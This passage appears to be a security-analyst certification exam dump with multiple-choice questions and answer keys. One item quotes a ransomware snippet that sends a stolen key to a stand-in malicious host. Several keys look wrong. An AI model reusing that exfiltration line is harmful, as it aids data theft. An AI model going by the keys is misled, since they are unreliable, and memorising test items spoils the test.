An executive tasked a security analyst to aggregate past logs, traffic, and alerts on a particular attack vector. The analyst was then tasked with analyzing the data and making predictions on future complications regarding this attack vector. Which of the following types of analysis is the security analyst MOST likely conducting?

A. Trend analysis
B. Behavior analysis
C. Availability analysis
D. Business analysis

Correct Answer: A
Section: (none)
Explanation
Explanation/Reference:

QUESTION 69
A malicious user is reviewing the following output:

```
root:~#ping 192.168.1.137
64 bytes from 192.168.2.1 icmp_seq=1 ttl=63 time=1.58 ms
64 bytes from 192.168.2.1 icmp_seq=2 ttl=63 time=1.45 ms
root: ~#
```

Based on the above output, which of the following is the device between the malicious user and the target?

A. Proxy
B. Access point
C. Switch
D. Hub

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 70
The business has been informed of a suspected breach of customer data. The internal audit team, in conjunction with the legal department, has begun working with the cybersecurity team to validate the report. To which of the following response processes should the business adhere during the investigation?

A. The security analysts should not respond to internal audit requests during an active investigation
B. The security analysts should report the suspected breach to regulators when an incident occurs
C. The security analysts should interview system operators and report their findings to the internal auditors
D. The security analysts should limit communication to trusted parties conducting the investigation

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
QUESTION 71
A cybersecurity analyst is reviewing the following outputs:

```
root@kali!# hping3 -S -p 80 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=80 flags=RA seq=0 win=0 rtt=0.6 ms

root@kali!# hping3 -S -p 8080 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=8080 flags=SA seq=0 win=29200 rtt=11.9 ms
```

Which of the following can the analyst infer from the above output?

A. The remote host is redirecting port 80 to port 8080.
B. The remote host is running a service on port 8080.
C. The remote host's firewall is dropping packets for port 80.
D. The remote host is running a web server on port 80.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 72
An organization wants to harden its web servers. As part of this goal, leadership has directed that vulnerability scans be performed, and the security team should remediate the servers according to industry best practices. The team has already chosen a vulnerability scanner and performed the necessary scans, and now the team needs to prioritize the fixes. Which of the following would help to prioritize the vulnerabilities for remediation in accordance with industry best practices?

A. CVSS
B. SLA
C. ITIL
D. OpenVAS
E. Qualys

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 73
An analyst is troubleshooting a PC that is experiencing high processor and memory consumption. Investigation reveals the following processes are running on the system:

▪ lsass.exe ▪
csrss.exe ▪
wordpad.exe ▪
notepad.exe

Which of the following tools should the analyst utilize to determine the rogue process?

A. Ping 127.0.0.1.
B. Use `grep` to search.

C. Use Netstat.
D. Use Nessus.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 74
A cybersecurity analyst was asked to discover the hardware address of 30 networked assets. From a command line, which of the following tools would be used to provide ARP scanning and reflects the MOST efficient method for accomplishing the task?

A. `nmap`
B. `tracert`
C. `ping -a`
D. `nslookup`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference: https://serverfault.com/questions/10590/how-to-get-a-list-of-all-ip-addresses-and-ideally-device-names-on-a-lan

QUESTION 75
A technician receives the following security alert from the firewall's automated system:

```
match_time: 10/10/16 16:20:43
serial:  002301028176
device_name: COMPSEC1
type: CORRELATION
scruser: domain\samjones
scr: 10.50.50.150
object_name: Beacon Detection
object_id: 6005
category: compromised-host
severity: medium
evidence: Host repeatedly visited a dynamic DNS domain (17 times).
```

After reviewing the alert, which of the following is the BEST analysis?

A. This alert is a false positive because DNS is a normal network function.
B. This alert indicates a user was attempting to bypass security measures using dynamic DNS.
C. This alert was generated by the SIEM because the user attempted too many invalid login attempts.
D. This alert indicates an endpoint may be infected and is potentially contacting a suspect host.

Correct Answer: D
Section: (none)
Explanation
Explanation/Reference:

QUESTION 76
Which of the following stakeholders would need to be aware of an e-discovery notice received by the security office about an ongoing case within the manufacturing department?

A. Board of trustees
B. Human resources
C. Legal
D. Marketing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 77
A company has several internal-only, web-based applications on the internal network. Remote employees are allowed to connect to the internal corporate network with a company-supplied VPN client. During a project to upgrade the internal application, contractors were hired to work on a database server and were given copies of the VPN client so they could work remotely. A week later, a security analyst discovered an internal web-server had been compromised by malware that originated from one of the contractor's laptops. Which of the following changes should be made to BEST counter the threat presented in this scenario?

A. Create a restricted network segment for contractors, and set up a jump box for the contractors to use to access internal resources.
B. Deploy a web application firewall in the DMZ to stop Internet-based attacks on the web server.
C. Deploy an application layer firewall with network access control lists at the perimeter, and then create alerts for suspicious Layer 7 traffic.
D. Require the contractors to bring their laptops on site when accessing the internal network instead of using the VPN from a remote location.
E. Implement NAC to check for updated anti-malware signatures and location-based rules for PCs connecting to the internal network. **Correct Answer:** E

Section: (none)
Explanation

Explanation/Reference:

QUESTION 78
While preparing for a third-party audit, the vice president of risk management and the vice president of information technology have stipulated that the vendor may not use offensive software during the audit. This is an example of:

A. organizational control.
B. service-level agreement.
C. rules of engagement.
D. risk appetite

Correct Answer: C

Section: (none)
Explanation

Explanation/Reference:

QUESTION 79
A cybersecurity analyst is hired to review the security posture of a company. The cybersecurity analyst notices a very high network bandwidth consumption due to SYN floods from a small number of IP addresses.

Which of the following would be the BEST action to take to support incident response?

A. Increase the company's bandwidth.
B. Apply ingress filters at the routers.
C. Install a packet capturing tool.
D. Block all SYN packets.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
QUESTION 80
During a routine network scan, a security administrator discovered an unidentified service running on a new embedded and unmanaged HVAC controller, which is used to monitor the company's datacenter:

Port	State
161/UDP	open
162/UDP	open
163/UDP	open

The enterprise monitoring service requires SNMP and SNMPTRAP connectivity to operate. Which of the following should the security administrator implement to harden the system?

A. Patch and restart the unknown service.
B. Segment and firewall the controller's network.
C. Disable the unidentified service on the controller.
D. Implement SNMPv3 to secure communication.
E. Disable TCP/UDP ports 161 through 163.

Correct Answer: A

Section: (none)
Explanation

Explanation/Reference:

QUESTION 81
There have been several exploits to critical devices within the network. However, there is currently no process to perform vulnerability analysis.

Which of the following should the security analyst implement during production hours to identify critical threats and vulnerabilities?

A. Asset inventory of all critical devices
B. Vulnerability scanning frequency that does not interrupt workflow
C. Daily automated reports of exploited devices
D. Scanning of all types of data regardless of sensitivity levels

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 82
Which of the following systems would be at the GREATEST risk of compromise if found to have an open vulnerability associated with perfect forward secrecy?

A. Endpoints
B. VPN concentrators
C. Virtual hosts
D. SIEM
E. Layer 2 switches

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 83
A pharmacy gives its clients online access to their records and the ability to review bills and make payments. A new SSL vulnerability on a special platform was discovered, allowing an attacker to capture the data between the end user and the web server providing these services. After investigating the platform vulnerability, it was determined that the web services provided are being impacted by this new threat.

Which of the following data types are MOST likely at risk of exposure based on this new threat? (Choose two.)

A. Cardholder data
B. Intellectual property
C. Personal health information
D. Employee records
E. Corporate financial data

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:
QUESTION 84
The security configuration management policy states that all patches must undergo testing procedures before being moved into production. The security analyst notices a single web application server has been downloading and applying patches during non-business hours without testing. There are no apparent adverse reactions, server functionality does not seem to be affected, and no malware was found after a scan.

Which of the following actions should the analyst take?

A. Reschedule the automated patching to occur during business hours.
B. Monitor the web application service for abnormal bandwidth consumption.
C. Create an incident ticket for anomalous activity.
D. Monitor the web application for service interruptions caused from the patching.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 85
An analyst has noticed unusual activities in the SIEM to a .cn domain name. Which of the following should the analyst use to identify the content of the traffic?

A. Log review
B. Service discovery
C. Packet capture
D. DNS harvesting

Correct Answer: C

Section: (none)
Explanation

Explanation/Reference:

QUESTION 86
An investigation showed a worm was introduced from an engineer's laptop. It was determined the company does not provide engineers with company-owned laptops, which would be subject to company policy and technical controls.
Which of the following would be the MOST secure control implement?

A. Deploy HIDS on all engineer-provided laptops, and put a new router in the management network.
B. Implement role-based group policies on the management network for client access.
C. Utilize a jump box that is only allowed to connect to clients from the management network.
D. Deploy a company-wide approved engineering workstation for management access.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 87
A zero-day crypto-worm is quickly spreading through the internal network on port 25 and exploiting a software vulnerability found within the email servers.

Which of the following countermeasures needs to be implemented as soon as possible to mitigate the worm from continuing to spread?

A. Implement a traffic sinkhole.
B. Block all known port/services.
C. Isolate impacted servers.
D. Patch affected systems.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 88
Scan results identify critical Apache vulnerabilities on a company's web servers. A security analyst believes many of these results are false positives because the web environment mostly consists of Windows servers.

Which of the following is the BEST method of verifying the scan results?

A. Run a service discovery scan on the identified servers.
B. Refer to the identified servers in the asset inventory.
C. Perform a top-ports scan against the identified servers.
D. Review logs of each host in the SIEM.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 89
A systems administrator is trying to secure a critical system. The administrator has placed the system behind a firewall, enabled strong authentication, and required all administrators of this system to attend mandatory training.

Which of the following BEST describes the control being implemented?

A. Audit remediation
B. Defense in depth
C. Access control
D. Multifactor authentication

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 90
A security analyst is concerned that unauthorized users can access confidential data stored in the production server environment. All workstations on a particular network segment have full access to any server in production. Which of the following should be deployed in the production environment to prevent unauthorized access? (Choose two.)

A. DLP system
B. Honeypot
C. Jump box
D. IPS
E. Firewall

Correct Answer: CE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 91
A security analyst is reviewing a report from the networking department that describes an increase in network utilization, which is causing network performance issues on some systems. A top talkers report over a five-minute sample is included.

Source	Destination	Application	Packets	Volume(Kbps)
8.4.4.100	172.16.1.25	SMTP	4386	6141
96.23.114.14	172.16.1.1	IPSec	7734	10827
172.16.1.101	100.15.25.34	HTTP	3412	4776
96.23.114.18	172.16.1.1	IPSec	2723	3812
172.16.1.101	100.15.25.34	SSL	8697	12176
172.16.1.222	203.67.121.12	Quicktime	1302	1822
172.16.1.197	113.121.12.15	8180/tcp	6045	8463
172.16.1.131	172.16.1.67	DHCP	25	35
172.16.1.25	172.16.1.53	DNS	66	93

Given the above output of the sample, which of the following should the security analyst accomplish FIRST to help track down the performance issues?

A. Perform reverse lookups on each of the IP addresses listed to help determine if the traffic is necessary.
B. Recommend that networking block the unneeded protocols such as Quicktime to clear up some of the congestion.
C. Put ACLs in place to restrict traffic destined for random or non-default application ports.
D. Quarantine the top talker on the network and begin to investigate any potential threats caused by the excessive traffic.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 92
A company has decided to process credit card transactions directly. Which of the following would meet the requirements for scanning this type of data?
A. Quarterly
B. Yearly
C. Bi-annually
D. Monthly

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 93
Which of the following countermeasures should the security administrator apply to MOST effectively mitigate Bootkit-level infections of the organization's workstation devices?

A. Remove local administrator privileges.
B. Configure a BIOS-level password on the device.
C. Install a secondary virus protection application.
D. Enforce a system state recovery after each device reboot.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 94
A new zero-day vulnerability was discovered within a basic screen capture app, which is used throughout the environment. Two days after discovering the vulnerability, the manufacturer of the software has not announced a remediation or if there will be a fix for this newly discovered vulnerability. The vulnerable application is not uniquely critical, but it is used occasionally by the management and executive management teams. The vulnerability allows remote code execution to gain privileged access to the system. Which of the following is the BEST course of actions to mitigate this threat?

A. Work with the manufacturer to determine the time frame for the fix.
B. Block the vulnerable application traffic at the firewall and disable the application services on each computer.
C. Remove the application and replace it with a similar non-vulnerable application.
D. Communicate with the end users that the application should not be used until the manufacturer has resolved the vulnerability.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 95
A centralized tool for organizing security events and managing their response and resolution is known as:

A. SIEM
B. HIPS
C. Syslog
D. Wireshark

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 96
After a recent security breach, it was discovered that a developer had promoted code that had been written to the production environment as a hotfix to resolve a user navigation issue that was causing issues for several customers. The code had inadvertently granted administrative privileges to all users, allowing inappropriate access to sensitive data and reports. Which of the following could have prevented this code from being released into the production environment?

A. Cross training
B. Succession planning
C. Automated reporting
D. Separation of duties

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
QUESTION 97
A nuclear facility manager determined the need to monitor utilization of water within the facility. A startup company just announced a state-of-the-art solution to address the need for integrating the business and ICS network. The solution requires a very small agent to be installed on the ICS equipment. Which of the following is the MOST important security control for the manager to invest in to protect the facility?

A. Run a penetration test on the installed agent.
B. Require that the solution provider make the agent source code available for analysis.
C. Require through guides for administrator and users.
D. Install the agent for a week on a test system and monitor the activities.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 98
A company has implemented WPA2, a 20-character minimum for the WiFi passphrase, and a new WiFi passphrase every 30 days, and has disabled SSID broadcast on all wireless access points. Which of the following is the company trying to mitigate?

A. Downgrade attacks
B. Rainbow tables
C. SSL pinning
D. Forced deauthentication

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 99
A staff member reported that a laptop has degraded performance. The security analyst has investigated the issue and discovered that CPU utilization, memory utilization, and outbound network traffic are consuming the laptop resources. Which of the following is the BEST course of actions to resolve the problem? A. Identify and remove malicious processes.

B. Disable scheduled tasks.
C. Suspend virus scan.
D. Increase laptop memory.
E. Ensure the laptop OS is properly patched.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 100
A security analyst has discovered that an outbound SFTP process is occurring at the same time of day for the past several days. At the time this was discovered, large amounts of business critical data were delivered. The authentication for this process occurred using a service account with proper credentials. The security analyst investigated the destination IP for this transfer and discovered that this new process is not documented in the change management log. Which of the following would be the BEST course of action for the analyst to take?

A. Investigate a potential incident.
B. Verify user permissions.
C. Run a vulnerability scan.

D. Verify SLA with cloud provider.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 101
During an investigation, a computer is being seized. Which of the following is the FIRST step the analyst should take?

A. Power off the computer and remove it from the network.
B. Unplug the network cable and take screenshots of the desktop.
C. Perform a physical hard disk image.
D. Initiate chain-of-custody documentation.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 102
An insurance company employs quick-response team drivers that carry corporate-issued mobile devices with the insurance company's app installed on them. Devices are configuration-hardened by an MDM and kept up to date. The employees use the app to collect insurance claim information and process payments. Recently, a number of customers have filed complaints of credit card fraud against the insurance company, which occurred shortly after their payments were processed via the mobile app. The cyber-incident response team has been asked to investigate. Which of the following is MOST likely the cause?

A. The MDM server is misconfigured.
B. The app does not employ TLS.
C. USB tethering is enabled.
D. 3G and less secure cellular technologies are not restricted.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 103

A cybersecurity consultant found common vulnerabilities across the following services used by multiple servers at an organization: VPN, SSH, and HTTPS. Which of the following is the MOST likely reason for the discovered vulnerabilities?

A. Leaked PKI private key
B. Vulnerable version of OpenSSL
C. Common initialization vector
D. Weak level of encryption entropy
E. Vulnerable implementation of PEAP

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
QUESTION 104
Which of the following could be directly impacted by an unpatched vulnerability in vSphere ESXi?

A. The organization's physical routers
B. The organization's mobile devices
C. The organization's virtual infrastructure
D. The organization's VPN

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 105
The Chief Security Officer (CSO) has requested a vulnerability report of systems on the domain, identifying those running outdated OSs. The automated scan reports are not displaying OS version details, so the CSO cannot determine risk exposure levels from vulnerable systems. Which of the following should the cybersecurity analyst do to enumerate OS information as part of the vulnerability scanning process in the MOST efficient manner?

A. Execute the `ver` command
B. Execute the `nmap -p` command
C. Use Wireshark to export a list
D. Use credentialed configuration

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 106

Organizational policies require vulnerability remediation on severity 7 or greater within one week. Anything with a severity less than 7 must be remediated within 30 days. The organization also requires security teams to investigate the details of a vulnerability before performing any remediation. If the investigation determines the finding is a false positive, no remediation is performed and the vulnerability scanner configuration is updates to omit the false positive from future scans:

The organization has three Apache web servers:

192.168.1.20 - Apache v2.4.1
192.168.1.21 - Apache v2.4.0
192.168.1.22 - Apache v2.4.0

The results of a recent vulnerability scan are shown below:

```
---
Scan Host: 192.168.1.22

15-Feb-16 10:12:10.1 CDT

Vulnerability CVE-2006-5752

Cross-site scripting (XSS) vulnerability in the mod_status module of Apache server
(httpd), when ExtendedStatus is enabled and a public-server-status page is used,
allows remote attackers to inject arbitrary web script or HTML.

Severity: 4.3 (medium)

---
```


The team performs some investigation and finds a statement from Apache:

```
"Fixed in Apache HTTP server 2.4.1 and later"
```

Which of the following actions should the security team perform?

A. Ignore the false positive on 192.168.1.22
B. Remediate 192.168.1.20 within 30 days
C. Remediate 192.168.1.22 within 30 days
D. Investigate the false negative on 192.168.1.20

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 107
A server contains baseline images that are deployed to sensitive workstations on a regular basis. The images are evaluated once per month for patching and other fixes, but do not change otherwise. Which of the following controls should be put in place to secure the file server and ensure the images are not changed?

A. Install and configure a file integrity monitoring tool on the server and allow updates to the images each month.
B. Schedule vulnerability scans of the server at least once per month before the images are updated.
C. Require the use of two-factor authentication for any administrator or user who needs to connect to the server.
D. Install a honeypot to identify any attacks before the baseline images can be compromised.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 108
A security analyst has just completed a vulnerability scan of servers that support a business critical application that is managed by an outside vendor. The results of the scan indicate the devices are missing critical patches. Which of the following factors can inhibit remediation of these vulnerabilities? (Choose two.)

A. Inappropriate data classifications
B. SLAs with the supporting vendor
C. Business process interruption
D. Required sandbox testing
E. Incomplete asset inventory

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:
QUESTION 109
A technician receives an alert indicating an endpoint is beaconing to a suspect dynamic DNS domain. Which of the following countermeasures should be used to BEST protect the network in response to this alert? (Choose two.)

A. Set up a sinkhole for that dynamic DNS domain to prevent communication.

B. Isolate the infected endpoint to prevent the potential spread of malicious activity.
C. Implement an internal honeypot to catch the malicious traffic and trace it.
D. Perform a risk assessment and implement compensating controls.
E. Ensure the IDS is active on the network segment where the endpoint resides.

Correct Answer: AB
Section: (none)
Explanation

Explanation/Reference:

QUESTION 110
A cybersecurity analyst is hired to review the security measures implemented within the domain controllers of a company. Upon review, the cybersecurity analyst notices a brute force attack can be launched against domain controllers that run on a Windows platform. The first remediation step implemented by the cybersecurity analyst is to make the account passwords more complex. Which of the following is the NEXT remediation step the cybersecurity analyst needs to implement?

A. Disable the ability to store a LAN manager hash.
B. Deploy a vulnerability scanner tool.
C. Install a different antivirus software.
D. Perform more frequent port scanning.
E. Move administrator accounts to a new security group.

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 111
During a recent audit, there were a lot of findings similar to and including the following:

192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable OS: Microsoft Windows Server 2012 R2 Vulnerable software installed: Adobe Flash 20.0.0.272
192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Microsoft SharePoint Foundation 2010 14.0.6029.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109CE0100000100000000F01FEC\InstallProperties - key existsThe Office component Microsoft Word Server is running an affected version - 14.0.6029.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109CE0100000100000000F01FEC\Patches\602FDAF466AB90540ADE467809F449F5 - key does not existPatch {4FADF206-BA66-4509-A0ED-6487904F945F} is not installed
192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Office 2007 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000021095F0100000100000000F01FEC\InstallProperties - key existsThe Office component Microsoft Office Excel Services is running an affected version - 12.0.6612.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000021095F0100000100000000F01FEC\Patches\F6A389258DE016A46B54137BE227809A - key does not existPatch {52983A6F-0ED8-4A61-B645-31B72E7208A9} is not installed
192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Office 2010 Based On the following 2 results: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109510180400100000000F01FEC\Patches\EC0008A30BA17544EB340C8942E98787 - key does not

Which of the following would be the BEST way to remediate these findings and minimize similar findings in the future?

A. Use an automated patch management solution.
B. Remove the affected software programs from the servers.
C. Run Microsoft Baseline Security Analyzer on all of the servers.
D. Schedule regular vulnerability scans for all servers on the network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 112
Which of the allowing is a best practice with regard to interacting with the media during an incident?

A. Allow any senior management level personnel with knowledge of the incident to discuss it.
B. Designate a single port of contact and at least one backup for contact with the media.
C. Stipulate that incidents are not to be discussed with the media at any time during the incident.
D. Release financial information on the impact of damages caused by the incident.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 113
Policy allows scanning of vulnerabilities during production hours, but production servers have been crashing lately due to unauthorized scans performed by junior technicians. Which of the following is the BEST solution to avoid production server downtime due to these types of scans?

A. Transition from centralized to agent-based scans.

B. Require vulnerability scans be performed by trained personnel.
C. Configure daily-automated detailed vulnerability reports.
D. Implement sandboxing to analyze the results of each scan.
E. Scan only as required for regulatory compliance.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 114
A security operations team was alerted to abnormal DNS activity coming from a user's machine. The team performed a forensic investigation and discovered a host had been compromised. Malicious code was using DNS as a tunnel to extract data from the client machine, which had been leaked and transferred to an unsecure public Internet site. Which of the following BEST describes the attack?

A. Phishing
B. Pharming
C. Cache poisoning
D. Data exfiltration

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 115
Given a packet capture of the following scan:
Which of the following should MOST likely be inferred on the scan's output?

A. 192.168.1.115 is hosting a web server.
B. 192.168.1.55 is hosting a web server.
C. 192.168.1.55 is a Linux server.
D. 192.168.1.55 is a file server.

Correct Answer: D
Section: (none)
Explanation

```
nmap -sX 192.168.1.55 -p22,80,445
45 33.105540 192.168.1.115 192.168.1.55 TCP 54 39007 -> 80 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
46 33.106599 192.168.1.115 192.168.1.55 TCP 54 39007 -> 445 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=
47 33.107672 192.168.1.115 192.168.1.55 TCP 54 39007 -> 22 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
48 33.108730 192.168.1.55 192.168.1.115 TCP 54 445 -> 39007 [RST, ACK] Seq=1 Ack=2 Urg=0 Len=0
49 33.108972 192.168.1.55 192.168.1.115 TCP 54 22 -> 39007 [RST, ACK] Seq=1 Ack=2 Urg=0 Len=0
50 34.207377 192.168.1.115 192.168.1.55 TCP 54 39008 -> 80 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
```

Explanation/Reference:

QUESTION 116

A company's computer was recently infected with ransomware. After encrypting all documents, the malware logs a random AES-128 encryption key and associated unique identifier onto a compromised remote website. A ransomware code snippet is shown below:

```
sendit = New-Object -ComObject Msxm12.XMLHTTP
sendit.open("POST", "http://www.malwaresite.com/get.php")
sendit.setRequestHeader("Content-length", $post.length)
sendit.setRequestHeader("Connection", "close")
sendit.send("key=$RANDOMKEY&uid=$RANDOMUID")
```

Based on the information from the code snippet, which of the following is the BEST way for a cybersecurity professional to monitor for the same malware in the future?

A. Configure the company proxy server to deny connections to www.malwaresite.com.
B. Reconfigure the enterprise antivirus to push more frequent to the clients.
C. Write an ACL to block the IP address of www.malwaresite.com at the gateway firewall.
D. Use an IDS custom signature to create an alert for connections to www.malwaresite.com.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 117

A company allows employees to work remotely. The security administration is configuring services that will allow remote help desk personnel to work secure outside the company's headquarters. Which of the following presents the BEST solution to meet this goal?

A. Configure a VPN concentrator to terminate in the DMZ to allow help desk personnel access to resources.

B. Open port 3389 on the firewall to the server to allow users to connect remotely.
C. Set up a jump box for all help desk personnel to remotely access system resources.
D. Use the company's existing web server for remote access and configure over port 8080.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 118
Management wants to scan servers for vulnerabilities on a periodic basis. Management has decided that the scan frequency should be determined only by vendor patch schedules and the organization's application deployment schedule. Which of the following would force the organization to conduct an out-of-cycle vulnerability scan?

A. Newly discovered PII on a server
B. A vendor releases a critical patch update
C. A critical bug fix in the organization's application
D. False positives identified in production

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 119
A logistics company's vulnerability scan identifies the following vulnerabilities on Internet-facing devices in the DMZ:
▪ SQL injection on an infrequently used web server that provides files to vendors ▪
SSL/TLS not used for a website that contains promotional information

The scan also shows the following vulnerabilities on internal resources:
▪ Microsoft Office Remote Code Execution on test server for a human resources system ▪
TLS downgrade vulnerability on a server in a development network

In order of risk, which of the following should be patched FIRST?

A. Microsoft Office Remote Code Execution
B. SQL injection
C. SSL/TLS not used
D. TLS downgrade

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 120
While reviewing three months of logs, a security analyst notices probes from random company laptops going to SCADA equipment at the company's manufacturing location. Some of the probes are getting responses from the equipment even though firewall rules are in place, which should block this type of unauthorized activity.
Which of the following should the analyst recommend to keep this activity from originating from company laptops?

A. Implement a group policy on company systems to block access to SCADA networks.
B. Require connections to the SCADA network to go through a forwarding proxy.
C. Update the firewall rules to block SCADA network access from those laptop IP addresses.
D. Install security software and a host-based firewall on the SCADA equipment.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 121
An analyst is preparing for a technical security compliance check on all Apache servers. Which of the following will be the BEST to use?

A. CIS benchmark
B. Nagios
C. OWASP
D. Untidy
E. Cain & Abel

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 122

A security analyst is performing ongoing scanning and continuous monitoring of the corporate datacenter. Over time, these scans are repeatedly showing susceptibility to the same vulnerabilities and an increase in new vulnerabilities on a specific group of servers that are clustered to run the same application. Which of the following vulnerability management processes should be implemented?

A. Frequent server scanning
B. Automated report generation
C. Group policy modification
D. Regular patch application

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
QUESTION 123
Which of the following describes why it is important to include scope within the rules of engagement of a penetration test?

A. To ensure the network segment being tested has been properly secured
B. To ensure servers are not impacted and service is not degraded
C. To ensure all systems being scanned are owned by the company
D. To ensure sensitive hosts are not scanned

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 124
The software development team pushed a new web application into production for the accounting department. Shortly after the application was published, the head of the accounting department informed IT operations that the application was not performing as intended. Which of the following SDLC best practices was missed?

A. Peer code reviews
B. Regression testing
C. User acceptance testing
D. Fuzzing
E. Static code analysis

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 125
An analyst is reviewing the following log from the company web server:

```
15.34.24 GET /directory/listening.php?user=admin&pass=admin1
15.34.27 GET /directory/listening.php?user=admin&pass=admin2
15.34.29 GET /directory/listening.php?user=admin&pass=1admin
15.34.35 GET /directory/listening.php?user=admin&pass=2admin
```

Which of the following is this an example of?

A. Online rainbow table attack
B. Offline brute force attack
C. Offline dictionary attack
D. Online hybrid attack

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 126
In an effort to be proactive, an analyst has run an assessment against a sample workstation before auditors visit next month. The scan results are as follows:

```
Microsoft Windows SMB Not Fully Accessible Detection
Cannot Access the Windows Registry
Scan Not Performed with Admin Privilege
```

Based on the output of the scan, which of the following is the BEST answer?

A. Failed credentialed scan
B. Failed compliance check
C. Successful sensitivity level check
D. Failed asset inventory

Correct Answer: A
Section: (none)
Explanation
Explanation/Reference:

QUESTION 127
A corporation employs a number of small-form-factor workstations and mobile devices, and an incident response team is therefore required to build a forensics kit with tools to support chip-off analysis. Which of the following tools would BEST meet this requirement?

A. JTAG adapters
B. Last-level cache readers
C. Write-blockers
D. ZIF adapters

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 128
A company's asset management software has been discovering a weekly increase in non-standard software installed on end users' machines with duplicate license keys. The security analyst wants to know if any of this software is listening on any non-standard ports, such as 6667. Which of the following tools should the analyst recommend to block any command and control traffic?

A. Netstat
B. NIDS
C. IPS
D. HIDS

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 129
A security incident has been created after noticing unusual behavior from a Windows domain controller. The server administrator has discovered that a user logged in to the server with elevated permissions, but the user's account does not follow the standard corporate naming scheme. There are also several other accounts in the administrators group that do not follow this naming scheme. Which of the following is the possible cause for this behavior and the BEST remediation step?

A. The Windows Active Directory domain controller has not completed synchronization, and should force the domain controller to sync.
B. The server has been compromised and should be removed from the network and cleaned before reintroducing it to the network.
C. The server administrator created user accounts cloning the wrong user ID, and the accounts should be removed from administrators and placed in an employee group.
D. The naming scheme allows for too many variations, and the account naming convention should be updated to enforce organizational policies.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 130
